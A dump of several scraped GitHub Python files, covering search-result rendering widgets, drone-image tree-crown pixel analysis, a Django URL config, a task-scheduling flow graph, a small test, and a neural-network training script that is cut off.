ellipsis = '…'\n if len(title) > 50:\n title = title[:50] + ellipsis\n return '%s' % (url, title)\n\n\nclass DateResultView(ResultView):\n grok.adapts(schema.DateResultField, IQuery, Interface)\n\n def update(self, view):\n self.locale = localdatetime.get_locale_info(self.request)\n\n def render(self, item):\n content = item.getObject()\n # XXX we should use publication_datetime on publishable, but\n # it is currently broken\n date = content.get_modification_datetime()\n datestr = ''\n if date:\n if hasattr(date, 'asdatetime'):\n date = date.asdatetime()\n datestr = localdatetime.get_formatted_date(\n date, size=\"medium\", locale=self.locale)\n\n return '%s' % datestr\n return None\n\n\nclass ThumbnailResultView(ResultView):\n grok.adapts(schema.ThumbnailResultField, IQuery, Interface)\n\n def render(self, item):\n content = item.getObject()\n\n if not IImage.providedBy(content):\n return\n\n if content.thumbnail_image is None:\n return\n\n anchor = '' % (\n item.getURL(), content.thumbnail_image.get_download_url())\n return '
    %s
    ' % anchor\n\n\nclass FullTextResultView(ResultView):\n grok.adapts(schema.FullTextResultField, IQuery, Interface)\n\n def render(self, item):\n ellipsis = '…'\n maxwords = 40\n searchterm = unicode(self.request.form.get('fulltext', ''), 'utf8')\n catalog = self.context.service_catalog\n fulltext = catalog.getIndexDataForRID(item.getRID()).get('fulltext', [])\n\n if not fulltext:\n # no fulltext available, probably an image\n return ''\n\n content = item.getObject()\n\n # since fulltext always starts with id and title, lets remove that\n idstring = content.id\n if IVersion.providedBy(content):\n idstring = content.get_silva_object().id\n skipwords = len(('%s %s' % (idstring, content.get_title())).split(' '))\n fulltext = fulltext[skipwords:]\n fulltextstr = ' '.join(fulltext)\n\n searchterms = searchterm.split()\n\n if not searchterms:\n # searchterm is not specified,\n # return the first 20 words\n text = ' '.join(fulltext[:maxwords])\n if IVersion.providedBy(content) and hasattr(content, 'fulltext'):\n realtext = ' '.join(content.fulltext()[2:])\n # replace multiple whitespace characters with one space\n realtext = re.compile('[\\ \\n\\t\\xa0]+').sub(' ', realtext)\n text = ' '.join(realtext.split()[:maxwords])\n if len(fulltext) > maxwords:\n text += ' ' + ellipsis\n else:\n words = maxwords / len(searchterms)\n text = []\n lowestpos = len(fulltext)\n highestpos = 0\n\n hilite_terms = []\n for searchterm in searchterms:\n term = re.escape(searchterm)\n\n if '?' in term or '*' in term:\n termq = term.replace('\\\\?', '.')\n termq = termq.replace('\\\\*', '.[^\\ ]*')\n term_found = re.compile(termq).findall(fulltextstr)\n if term_found:\n hilite_terms += term_found\n searchterms.remove(searchterm)\n term = term_found[0]\n searchterms.append(term.strip())\n else:\n hilite_terms.append(term)\n else:\n hilite_terms.append(term)\n\n if not term in fulltext:\n # term matched probably something in the title\n # return the first n words:\n line = ' '.join(fulltext[:words])\n text.append(line)\n lowestpos = 0\n highestpos = words\n continue\n\n pos = fulltext.index(term)\n if pos < lowestpos:\n lowestpos = pos\n if pos > highestpos:\n highestpos = pos\n start = pos -(words/2)\n end = pos + (words/2) + 1\n if start < 0 :\n end += -start\n start = 0\n\n pre = ' '.join(fulltext[start:pos])\n post = ' '.join(fulltext[pos+1:end])\n\n if not text and start != 0:\n # we're adding the first (splitted) result\n # and it's not at the beginning of the fulltext\n # lets add an ellipsis\n pre = ellipsis + pre\n\n\n text.append('%s %s %s %s' % (\n pre,\n fulltext[pos],\n post,\n ellipsis)\n )\n # if all the terms that are found are close together,\n # then use this, otherwise, we would end\n # up with the same sentence for each searchterm\n # this code will create a new text result list, which\n # does not have 'split' results.\n if lowestpos < highestpos:\n if highestpos - lowestpos < maxwords:\n padding = (maxwords-(highestpos - lowestpos ))/2\n lowestpos -= padding\n highestpos += padding\n if lowestpos < 0:\n highestpos += -lowestpos\n lowestpos = 0\n\n text = fulltext[lowestpos:highestpos]\n if not lowestpos == 0:\n text[0] = '%s %s' % (ellipsis, text[0])\n if highestpos < len(fulltext)-1:\n text[-1] += ' %s' % ellipsis\n\n # do some hiliting, use original text\n # (with punctuation) if this is a silva document\n text = ' '.join(text)\n if IVersion.providedBy(content) and hasattr(content, 'fulltext'):\n realtext = ' '.join(content.fulltext()[2:])\n # replace multiple whitespace characters with one space\n realtext = re.compile('[\\ \\n\\t\\xa0]+').sub(' ', realtext)\n textparts = text.split(ellipsis)\n new = []\n for textpart in textparts:\n if textpart == '':\n new.append('')\n continue\n textpart = textpart.strip()\n find = textpart.replace(' ', '[^a-zA-Z0-9]+')\n textexpr = re.compile(find, re.IGNORECASE)\n text = textexpr.findall(realtext)\n if text:\n text = text[0]\n else:\n # somehow we can't find a match in original text\n # use the one from the catalog\n text = textpart\n new.append(text)\n text = ellipsis.join(new)\n\n for term in hilite_terms:\n if term.startswith('\"'):\n term = term[1:]\n if term.endswith('\"'):\n term = term[:-1]\n term = re.escape(term)\n text = ' ' + text\n regexp = re.compile(\n '([^a-zA-Z0-9]+)(%s)([^a-zA-Z0-9]+)' % term.lower(),\n re.IGNORECASE)\n sub = ('\\g<1>'\n '\\g<2>\\g<3>')\n text = regexp.sub(sub, text)\n return '
    %s
    ' % text.strip()\n\n\nclass BreadcrumbsResultView(ResultView):\n grok.adapts(schema.BreadcrumbsResultField, IQuery, Interface)\n\n def render(self, item):\n content = item.getObject()\n part = []\n breadcrumb = getMultiAdapter((content, self.request), IAbsoluteURL)\n for crumb in breadcrumb.breadcrumbs()[:-1]:\n part.append('%s' % (crumb['url'], crumb['name']))\n part = ' · '.join(part)\n return '%s' % part\n\n\nclass MetadataResultView(ResultView):\n grok.adapts(schema.MetadataResultField, IQuery, Interface)\n\n def update(self, view):\n self.set_name, self.element_name = self.result.getId().split(':')\n service = getUtility(IMetadataService)\n metadata_set = service.getMetadataSet(self.set_name)\n metadata_element = metadata_set.getElement(self.element_name)\n assert IMetadataElement.providedBy(metadata_element),\\\n u\"Unknow metadata element %s\" % self.result.getId()\n self.renderValue = metadata_element.renderView\n\n if metadata_element.metadata_in_catalog_p:\n # If the metadata is available on the brain, directly use it\n metadata_key = createIndexId(metadata_element)\n self.getValue = lambda item: getattr(item, metadata_key)\n else:\n self.getValue = lambda item: service.getMetadataValue(\n item.getObject(), self.set_name, self.element_name)\n\n def render(self, item):\n # self.context should item.getObject()\n result = self.renderValue(self.context, self.getValue(item))\n if not result:\n return\n\n css_class = \"metadata-%s-%s\" % (self.set_name, self.element_name)\n return ''.join(['' % css_class,\n '',\n self.result.getTitle(),\n '',\n '',\n result,\n '',\n ''])\n\n","repo_name":"silvacms/Products.SilvaFind","sub_path":"Products/SilvaFind/results/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":14545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73278393425","text":"#!/usr/bin/env python3\n# Ross Gray\n# ross.gray12@imperial.ac.uk\n#\n# imageanalysis4.py\n#\n\n\"\"\" Script for importing orthomosaic tiff files, conducting individual\ntree crown delineation and analysing the ITC segments for pixel data. \"\"\"\n\n\n#################\n##Loading modules\n#################\n\nimport sys #For module writing\nimport subprocess #For bash and R operations\nimport os #For directory access\nimport glob #For file selection\nimport re #For manipulation of filenames\n\nimport cv2 #For image manipulation\nfrom PIL import Image #For image analysis\nimport tifffile as tiff #For 16-bit tiff files\n\nfrom osgeo import gdal, osr, ogr #For gdal spatial manipulation\n# import fiona #For GIS manipulation\n# import rasterio #For raster manipulaiton\n# from rasterio.mask import mask #For raster manipulaiton\n# from rasterio import Affine # or from affine import Affine\nimport geopandas as gpd #For shapefile manipulation\nfrom shapely.geometry import mapping, point #For changing shapely geometries\n\nimport numpy as np #For image analysis and data manipulation\nimport csv #For saving the results table\nimport pandas as pd #For saving the results table and conversion to tables\nimport statistics #For calculating standard deviation\n\nimport time #For timing processing\nfrom tqdm import tqdm #Produces progress bar\n\n#################\n###Georeferencing\n#################\n\n#~ ###Batch Georeferencing\n#~ #Unable to do so mannaul georeferencing\n#~ for f in glob.glob(\"../Data/Test/\"+\"*.tif\"):\n\n\t#~ ##Filenames\n\t#~ filename = os.path.split(f)[1]\n\t#~ temp = \"../Data/tmp/\" + filename\n\t#~ out_file = \"../Data/Geotest/\" + filename\n\n\t#~ ##Translating original raster to new GCPs\n\t#~ #Command line\n\t#~ cmd1 = [\"gdal_translate\", \"-of\", \"GTiff\",\n\t\t\t#~ #GCPs Source X, Source Y, Dest X, Dest Y\n\t\t\t#~ \"-gcp\", \"566055\", \"-522336\", \"566058\", \"522336\",\n\t\t\t#~ \"-gcp\", \"566074\", \"-522269\", \"566077\", \"522269\",\n\t\t\t#~ \"-gcp\", \"566269\", \"-522273\", \"566271\", \"522273\",\n\t\t\t#~ f, temp]\n\t#~ subprocess.call(cmd1)\n\n\t#~ ##Warping to create new raster\n\t#~ #Command line\n\t#~ cmd2 = [\"gdalwarp\", \"-r\", \"near\", \"-tps\", \"-co\", \"COMPRESS=LZW\", temp, out_file]\n\t#~ subprocess.call(cmd2)\n\n\n#----------------------------------------------------------------------#\n#----------------------------------------------------------------------#\n\n###################################################\n### TREE CROWN IDENTIFICAION AND PIXEL ANALYSIS ###\n###################################################\n\ndef main(argv):\n\n\t###################################################\n\t## RASTERIZING LIDAR POLYGONS TO 16-BIT TEMPLATE ##\n\t###################################################\n\n\t## Timing the program\n\tstarttime = time.time()\n\n\t#Update\n\tprint(\"Starting image analysis.\")\n\n\t##Interate through Orthomosaics\n\tdef image_analysis(f):\n\t# for f in tqdm(glob.glob(\"../Data/LongTermStudy/Orthomosaics/Georeferenced/\"+\"*.tif\")):\n\t## Translating RGB image into 16-bit template\n\t\trgb_img = gdal.Open(f)\n\n\t\t#Getting filenames\n\t\tfullname = os.path.split(f)[1]\n\t\tfilename = os.path.splitext(fullname)[0]\n\n\t\t#Output to new format\n\t\ttemplate = gdal.Translate(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\", rgb_img,\n\t\t\t\t\t\t\t\t format=\"GTiff\", outputType= gdal.GDT_UInt16,\n\t\t\t\t\t\t\t\t creationOptions=['COMPRESS=PACKBITS'])\n\n\t\t#Properly close the datasets to flush to disk\n\t\trgb_img = None\n\t\ttemplate = None\n\n\t\t##Rasterizing tree crown polygons onto template\n\t\t#Open RGB image, raster template and polygons to burn\n\t\tbgr_img = cv2.imread(f, cv2.IMREAD_COLOR)\n\n\t\t#Getting dimension of rgb image\n\t\t[height, width, dim] = bgr_img.shape\n\n\t\t#Burn tree crown polygons onto template\n\t\tif argv[2] == 'Manual':\n\t\t\t#For manual delineation\n\t\t\trasterizeOptions = gdal.RasterizeOptions(format = \"GTiff\", width = width,\n\t\t\t\t\t\t\t\t\t\t\t\t\t height = height, attribute = \"Tree_ID\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t outputType = gdal.GDT_UInt16)\n\t\t\trasterpoly = gdal.Rasterize(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\",\n\t\t\t\t\t\t\t\t \"../Data/LongTermStudy/ITCSegmentation/Manual/ManualDelineation.shp\",\n\t\t\t\t\t\t\t\t options = rasterizeOptions)\n\t\telif argv[2] == 'VTree':\n\t\t\t#For VTrees\n\t\t\trasterizeOptions = gdal.RasterizeOptions(format = \"GTiff\", width = width,\n\t\t\t\t\t\t\t\t\t\t\t\t\t height = height, attribute = \"id\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t outputType = gdal.GDT_UInt16)\n\t\t\trasterpoly = gdal.Rasterize(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\",\n\t\t\t\t\t\t\t\t \"../Data/LongTermStudy/ITCSegmentation/VTreeDelineation.shp\",\n\t\t\t\t\t\t\t\t options = rasterizeOptions)\n\t\telif argv[2] == '2DSFM':\n\t\t\t#For 3D Point Cloud delineation\n\t\t\trasterizeOptions = gdal.RasterizeOptions(format = \"GTiff\", width = width,\n\t\t\t\t\t\t\t\t\t\t\t\t\t height = height, attribute = \"ID\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t outputType = gdal.GDT_UInt16)\n\t\t\trasterpoly = gdal.Rasterize(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\",\n\t\t\t\t\t\t\t\t \"../Data/LongTermStudy/ITCSegmentation/itc2DSFM/2DSFMDelineation.shp\",\n\t\t\t\t\t\t\t\t options = rasterizeOptions)\n\t\telif argv[2] == 'LiDAR':\n\t\t\t#For LiDAR delineation\n\t\t\trasterizeOptions = gdal.RasterizeOptions(format = \"GTiff\", width = width,\n\t\t\t\t\t\t\t\t\t\t\t\t\t height = height, attribute = \"ID\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t outputType = gdal.GDT_UInt16)\n\t\t\trasterpoly = gdal.Rasterize(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\",\n\t\t\t\t\t\t\t\t \"../Data/LongTermStudy/ITCSegmentation/itcLiDAR/LiDARDelineation.shp\",\n\t\t\t\t\t\t\t\t options = rasterizeOptions)\n\n\t\t#Properly close the datasets to flush to disk\n\t\trasterpoly = None\n\t\t#~ rgb_img = None\n\t\tbgr_img = None\n\n\t\tprint(\"Tree crown delineation successful.\")\n\n#----------------------------------------------------------------------#\n#----------------------------------------------------------------------#\n\n\t\t#####################################\n\t\t## EXTRACTING FILENAME INFORMATION ##\n\t\t#####################################\n\n\t\t##Create empty arrays for the data\n\t\tDate = []\n\t\tStart_Time = []\n\t\tFlightNo = []\n\t\tLocation = []\n\t\tSoftware = []\n\t\tLight = []\n\t\tCloud = []\n\t\tWind = []\n\t\tHeight = []\n\n\t\t##Splitting path from filename\n\t\tfullname = os.path.split(f)[1]\n\t\tfilename = os.path.splitext(fullname)[0]\n\n\t\t##When the image was taken\n\t\t#Date\n\t\tfind_date = re.compile(r\"_([0-9]+-[0-9]+-[0-9]+)_\")\n\t\tdate = find_date.search(filename).group(1)\n\t\tDate.append(date)\n\n\t\t#Start Time\n\t\tfind_time = re.compile(r\"_([0-9]+.[0-9]+)_\")\n\t\tstart_time = find_time.search(filename).group(1)\n\t\tstart_time.replace(\".\", \":\")\n\t\tStart_Time.append(start_time)\n\n\t\t##Where the image was taken\n\t\tfind_where = re.compile(r\"^([a-zA-Z]+\\d+){1}_\")\n\t\twhere = find_where.search(filename).group(1)\n\t\twhere = re.split('(\\d+)',where)\n\t\tFlightNo.append(where[1])\n\t\tLocation.append(where[0])\n\n\t\t##Software used to stitch\n\t\tfind_software = re.compile(r\"_([a-z]+)_\")\n\t\tsoftware = find_software.search(filename).group(1)\n\t\tif software[0] == \"o\":\n\t\t\tSoftware.append(\"OpenDroneMap\")\n\t\tif software[0] == \"p\":\n\t\t\tSoftware.append(\"Pix4D\")\n\t\tif software[0] == \"d\":\n\t\t\tSoftware.append(\"DroneDeploy\")\n\n\t\t##Conditions it was taken in\n\t\tfind_cond = re.compile(r\"_([A-Z]+)\")\n\t\tcond = find_cond.search(filename).group(1)\n\t\t#Explaning conditions\n\t\tif cond[0] == \"D\":\n\t\t\tLight.append(\"Dull\")\n\t\tif cond[0] == \"B\":\n\t\t\tLight.append(\"Bright\")\n\t\tif cond[0] == \"S\":\n\t\t\tLight.append(\"Sunny\")\n\t\tif cond[1] == \"N\":\n\t\t\tCloud.append(\"None\")\n\t\tif cond[1] == \"S\":\n\t\t\tCloud.append(\"Some\")\n\t\tif cond[1] == \"C\":\n\t\t\tCloud.append(\"Cloudy\")\n\t\tif cond[1] == \"O\":\n\t\t\tCloud.append(\"Overcast\")\n\t\tif cond[2] == \"N\":\n\t\t\tWind.append(\"None\")\n\t\tif cond[2] == \"L\":\n\t\t\tWind.append(\"Light\")\n\t\tif cond[2] == \"M\":\n\t\t\tWind.append(\"Medium\")\n\t\tif cond[2] == \"H\":\n\t\t\tWind.append(\"High\")\n\n\t\t##() Height of flight in ft or m\n\t\tfind_height = re.compile(r\"_(\\d+[a-zA-Z]+)_\")\n\t\theight = find_height.search(filename).group(1)\n\t\tHeight.append(height)\n\n\t\tprint(\"Variables have been added.\")\n\n#----------------------------------------------------------------------#\n#----------------------------------------------------------------------#\n\t\t####################################\n\t\t## PIXEL ANALYSIS OF ITC SEGMENTS ##\n\t\t####################################\n\n\t\t##Reading 16 bit ITC tiff file and bgr image\n\t\ttreecrowns = tiff.imread(\"../Data/LongTermStudy/Templates/NewGeoref/\" + filename + \"_ITC.tif\")\n\t\timg = cv2.imread(f)\n\t\t#Converting bgr to rgb\n\t\tb,g,r = cv2.split(img)\n\t\timg = cv2.merge([r,g,b])\n\n\t\t##Empty lists to populate\n\t\tTrees = []\n\t\tR_mean = []\n\t\tG_mean = []\n\t\tB_mean = []\n\t\tR_SD = []\n\t\tG_SD = []\n\t\tB_SD = []\n\t\tRCC = []\n\t\tGCC = []\n\t\tBCC = []\n\t\tExG = []\n\n\t\t##Pixel Analysis\n\t\tprint(\"Starting pixel analysis.\")\n\t\tdef pixel_analysis(i):\n\t\t# for i in tqdm(range(1, np.amax(treecrowns+1))):\n\n\t\t\t#Individual Tree Number\n\t\t\tTrees.append(i)\n\n\t\t\t#Finding tree crowns in array\n\t\t\tlocations = np.where(treecrowns == i)\n\n\t\t\t#Extract based on tree crown cells\n\t\t\tvalues = img[locations]\n\t\t\tvalues = np.ma.masked_equal(values, 0)\n\t\t\tvalues_table = pd.DataFrame(values, columns = [\"R\", \"G\", \"B\"]) #Edit to speed up\n\n\t\t\t#Calculating mean for each colour channel\n\t\t\tRmean = values_table[\"R\"].mean()\n\t\t\tGmean = values_table[\"G\"].mean()\n\t\t\tBmean = values_table[\"B\"].mean()\n\n\t\t\t#Calculating standard deviation for each colour channel\n\t\t\tRsd = values_table[\"R\"].std()\n\t\t\tGsd = values_table[\"G\"].std()\n\t\t\tBsd = values_table[\"B\"].std()\n\n\t\t\t#Appending results\n\t\t\tR_mean.append(Rmean)\n\t\t\tG_mean.append(Gmean)\n\t\t\tB_mean.append(Bmean)\n\t\t\tR_SD.append(Rsd)\n\t\t\tG_SD.append(Gsd)\n\t\t\tB_SD.append(Bsd)\n\n\t\t\t#Calculating overall brightness\n\t\t\trgb = (Rmean + Gmean + Bmean)\n\n\t\t\t#Calculating chromatic coordinates for each channel\n\t\t\trcc = Rmean/rgb\n\t\t\tgcc = Gmean/rgb\n\t\t\tbcc = Bmean/rgb\n\t\t\texg = (2*Gmean)/(Rmean+Bmean)\n\n\t\t\t#Appending chromatic coordinates to lists\n\t\t\tGCC.append(gcc)\n\t\t\tRCC.append(rcc)\n\t\t\tBCC.append(bcc)\n\t\t\tExG.append(exg)\n\t\t# *map(pixel_analysis, tqdm(range(1, np.amax(treecrowns+1)))),\n\t\t[pixel_analysis(i) for i in tqdm(range(1, np.amax(treecrowns+1)))]\n\n\t\tprint(\"Pixel Analysis Completed.\")\n#~ #----------------------------------------------------------------------#\n#~ #----------------------------------------------------------------------#\n\n\t\t#########################\n\t\t## CREATING DATAFRAMES ##\n\t\t#########################\n\n\t\t##Converting results table to dataframe\n\t\tpixels_df = pd.DataFrame({\"Tree_Crown_ID\": Trees,\n\t\t\t\t\t\t\t\t \"R_Mean\": R_mean, \"G_Mean\": G_mean, \"B_Mean\": B_mean,\n\t\t\t\t\t\t\t\t \"R_StDev\": R_SD, \"G_StDev\": G_SD, \"B_StDev\": B_SD,\n\t\t\t\t\t\t\t\t \"RCC\": RCC, \"GCC\": GCC, \"BCC\": BCC, \"ExG\": ExG})\n\t\tvariables_df = pd.DataFrame({\"Date\" : Date, \"Start_Time\": Start_Time,\n\t\t\t\t\t\t\t\t\t \"Flight_Number\": FlightNo, \"Location\": Location,\n\t\t\t\t\t\t\t\t\t \"Software\": Software, \"Light\": Light, \"Cloud\": Cloud,\n\t\t\t\t\t\t\t\t\t \"Wind\": Wind, \"Height\": Height})\n\n\t\t##Matching dataframe lenghts\n\t\trepeat_variables_df = pd.concat([variables_df]*len(pixels_df), ignore_index=True)\n\n\t\t##Combining dataframe\n\t\tcombined_df = pd.concat([repeat_variables_df, pixels_df], axis = 1)\n\n\t\t##Rearranging dataframe\n\t\t#~ results_table = results_table[[\"Number\", \"Date\", \"Location\", \"Software\", \"Start_Time\", \"Height\", \"Light\", \"Cloud\", \"Wind\", \"Mean_Green\", \"GCC\", \"Mean_Red\", \"RCC\", \"Mean_Blue\", \"BCC\", \"ExG\"]]\n\n\t\t## Saving dataframe to new csv or existing csv\n\t\t#Command line arguments to name the csv file\n\t\tif not os.path.isfile(argv[1]):\n\t\t\tcombined_df.to_csv(argv[1], index=False)\n\t\telse:\n\t\t\twith open(argv[1], \"a\") as f:\n\t\t\t\tcombined_df.to_csv(f, header = False, index=False)\n\n\t##Using map or list comprehension\n\t# *map(image_analysis, tqdm(glob.glob(\"../Data/LongTermStudy/Orthomosaics/Georeferenced/\"+\"*.tif\"))),\n\t[image_analysis(f) for f in tqdm(glob.glob(\"../Data/LongTermStudy/Orthomosaics/Georeferenced/\"+\"*.tif\"))]\n\n\t##Calculating time elapsed\n\tendtime = time.time()\n\thours, rem = divmod(endtime-starttime, 3600)\n\tminutes, seconds = divmod(rem, 60)\n\tprint(\"{:0>2}:{:0>2}:{:05.2f}\".format(int(hours),int(minutes),seconds))\n\n#----------------------------------------------------------------------#\n#----------------------------------------------------------------------#\n\nif(__name__ == \"__main__\"):\n\tstatus = main(sys.argv)\n\n#End\n","repo_name":"DroneEcology/tropical-forest-phenology","sub_path":"imageanalysis4.py","file_name":"imageanalysis4.py","file_ext":"py","file_size_in_byte":12040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40275627976","text":"from django.urls import path\nfrom . import views\n\napp_name = \"authenticator\"\n\nurlpatterns = [\n path('', views.signup, name=\"new_user\"),\n path('login/', views.signin, name=\"existing_user\"),\n path('authenticated/dashboard/', views.dashboard, name=\"my_dashboard\"),\n path('logout/', views.signout, name=\"logout_user\")\n]\n","repo_name":"abdulrahim-uj/school_store","sub_path":"authenticator/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72813439507","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 15 11:44:55 2023\n\n@author: 28706664\n\"\"\"\n\n\"\"\"\non prend en entré une une liste de triple (ri,pi,qi) et on retourne un ordonancement\n\n\"\"\"\n#import networkx as nx\nimport copy\nimport random\nimport numpy as np\n#import matplotlib.pyplot as plt\nfrom graphe_from_tache import *\n\n\ndef tri_liste(li):\n ordre=[0]*len(li)\n for i in range(len(li)):\n ordre[i]=i\n #source:https://stackoverflow.com/questions/13979714/heap-sort-how-to-sort\n def swap(i, j): \n li[i], li[j] = li[j], li[i] \n ordre[i], ordre[j] = ordre[j], ordre[i]\n\n def heapify(end,i): \n l=2 * i + 1 \n r=2 * (i + 1) \n max=i \n if l < end and li[i][2] < li[l][2]: \n max = l \n if r < end and li[max][2] < li[r][2]: \n max = r \n if max != i: \n swap(i, max) \n heapify(end, max) \n\n def heap_sort(): \n end = len(li) \n start = end // 2 - 1 # use // instead of /\n for i in range(start, -1, -1): \n heapify(end, i) \n for i in range(end-1, 0, -1): \n swap(i, 0) \n heapify(i, 0)\n \n def sift_down(start, end): \n root = start \n\n while (root * 2 + 1) <= end: \n child = root * 2 + 1 \n temp = root \n if li[temp] < li[child]: \n temp = child+1 \n if temp != root: \n swap(root, temp) \n root = temp \n else: \n return\n heap_sort()\n # print(li)\n return li,ordre\n\ndef ordo_from_tache(li,m :int,G,pri=True):#return un résiduel(graphe de avec des valeurs de flow)\n ordo_fontionnel=True\n \n node_pos_G=copy.deepcopy(nx.get_node_attributes(G,'pos'))\n arc_capacity_G=copy.deepcopy(nx.get_edge_attributes(G,'capacity'))\n if(pri):\n nx.draw_networkx_edges(G, node_pos_G,edge_color= \"black\")\n nx.draw_networkx_edge_labels(G, node_pos_G, edge_labels=arc_capacity_G,label_pos=0.7)\n\n li_trie,ordre=tri_liste(li)#trie nos tâches par ordre croissant des deadlines\n R = G # résiduel retourné\n arretes_de_bases=list(G.edges) #on save les arrêtes du début\n capacity_de_bases=list(G.edges.data('capacity'))\n usage=len(capacity_de_bases)*[0] #controlleur de surcharge sur les dernières arretes\n nb_nodes=R.number_of_nodes()\n for noeud1 in range(len(li_trie)): #on enlève juste les arrêtes qui sont au millieu\n for noeud2 in range(nb_nodes-2-len(li_trie)):\n if((noeud1+1, noeud2+1+len(li_trie)) in list(G.edges)):\n R.remove_edge(noeud1+1, noeud2+1+len(li_trie))\n for i in range(len(li_trie)): #on parcours toutes les tâches\n for j in range(len(li_trie)): #on parcours toutes les tâches\n if(ordre[j]==i): #si je suis sur le noeud que je dois traiter (par ordre de priorite sur la deadline)\n qt_flot=G[0][j+1][\"capacity\"]\n for intervalle in range(nb_nodes-2-len(li_trie)): #on parcours les intervalles\n intervalle_pos=intervalle+len(li_trie)+1\n arrete_dest=0\n for a in range(len(capacity_de_bases)): #on cherche l'arrete qui est derrière\n if((capacity_de_bases[a][0]==intervalle_pos and capacity_de_bases[a][1]==nb_nodes-1)or(capacity_de_bases[a][1]==intervalle_pos and capacity_de_bases[a][0]==nb_nodes-1)):\n arrete_dest=a\n if(((j+1,intervalle_pos) in arretes_de_bases) and qt_flot>0 and capacity_de_bases[arrete_dest][2]-usage[arrete_dest]>0): #si l'arrête existe et que il nous reste du flot et que 'arrête suivante n'est pas déjà surchargée\n for arrete_act in capacity_de_bases:\n if(j+1==arrete_act[0] and intervalle_pos==arrete_act[1]): #on cherche ici à obtenir la capacity de notre arrete\n new_cap=min(arrete_act[2], qt_flot, capacity_de_bases[arrete_dest][2]-usage[arrete_dest]) #on calcule alors le flot qui va aller dans cette arrete\n usage[arrete_dest]+=new_cap #on met à jour le controlleur\n if(pri):\n print(j+1,intervalle_pos,\" : \",new_cap)\n R.add_edge(j+1, intervalle_pos, capacity=new_cap) #on envoi tt la capacité ou le flot qu'il nous reste ou suffisament pour remplir l'arrête suivante\n qt_flot-=new_cap #on met à jour notre flot restant\n if (qt_flot>0): #si on à pas réussi à vider le flot alors ça ne fonctionne pas et on rajoute une croix rouge\n # source : https://www.includehelp.com/python/cross-x-scatter-marker-in-matplotlib.aspx\n x,y=node_pos_G[j+1]\n ss = 200\n c = 1\n plt.scatter(x/2,y/2, s=ss, c=c, marker='X', cmap='Reds_r')\n ordo_fontionnel=False\n\n if(pri):\n if(ordo_fontionnel):\n print(\"ordo fonctionnel\")\n else:\n print(\"ordo non fonctionnel\")\n\n #source : http://avinashu.com/tutorial/pythontutorialnew/NetworkXBasics.html\n node_pos=nx.get_node_attributes(R,'pos')\n # The edge capacitys of each arcs are stored in a dictionary\n arc_capacity=nx.get_edge_attributes(R,'capacity')\n # If the nodes is in the shortest path, set it to red, else set it to white color\n node_col = 'white'\n # If the edge is in the shortest path set it to red, else set it to white color\n edge_col = 'blue'\n # Draw the nodes\n nx.draw_networkx(R, node_pos,node_color= node_col, node_size=450)\n # Draw the edges\n nx.draw_networkx_edges(R, node_pos,edge_color= edge_col)\n # Draw the edge labels\n nx.draw_networkx_edge_labels(R, node_pos, edge_labels=arc_capacity,label_pos=0.7,font_color='red')\n # Remove the axis\n plt.axis('off')\n # Show the plot\n plt.show()\n return R\n# lt=[(0,4,4),(0,3,8),(0,5,9)]\n#lt=[(3, 2, 7), (3, 2, 5), (1, 3, 5)]\n#lt=random_values(3,10)\n#G,s,t=graphe_from_taches(lt,2)\n#ordo_from_tache(lt,2,G)","repo_name":"MalenferFrncs/projet_de_recherche_2023_ordonancement","sub_path":"ordo_from_tache.py","file_name":"ordo_from_tache.py","file_ext":"py","file_size_in_byte":6420,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40419354743","text":"from game import Game\n\ndef test_saveScore(tmpdir):\n data_in = \"13213\"\n fpath = f\"{tmpdir}/test.txt\"\n Game.saveScore(fpath,data_in)\n\n with open(fpath) as file_out:\n data_out = file_out.read()\n assert data_in == 'data_out'","repo_name":"sonhm3029/Mediapipe-Game-collections","sub_path":"dragFigure/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"18467577400","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport numpy as np\nimport math\nimport random\nimport Network as nt\n\n\ndef accuracy(array,array_labels, weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3):\n count=0\n for i in range(array.shape[0]):\n output_softmax=nt.forward_propagation(array[i,:], weights1,weights2_1,weights2_2,weights2_3,weights3,biases2_1,biases2_2,biases2_3,biases3)\n if(np.argmax(output_softmax)==array_labels[i]):\n count=count+1\n return count/array.shape[0]\n \ntrain=np.load(\"data/data/train_inputs.npy\")\ntrain_labels=np.load(\"data/data/train_targets.npy\")\n\nvalid=np.load(\"data/data/valid_inputs.npy\")\nvalid_labels=np.load(\"data/data/valid_targets.npy\")\n\n\ntrain_zip = list(zip(train, train_labels))\nrandom.shuffle(train_zip)\ntrain, train_labels = zip(*train_zip)\ntrain=np.asarray(train)\ntrain_labels=np.asarray(train_labels)\n\n\nval_zip = list(zip(valid, valid_labels))\nrandom.shuffle(val_zip)\nvalid, valid_labels = zip(*val_zip)\nvalid=np.asarray(valid)\nvalid_labels=np.asarray(valid_labels)\n\nweights1, weights2_1,biases2_1,weights2_2,biases2_2,weights2_3,biases2_3,weights3,biases3=nt.initialization()\n\nlearning_rate=0.01\nepoch=10\nfor epoch in range(epoch):\n count=0\n for j in range(train.shape[0]): \n 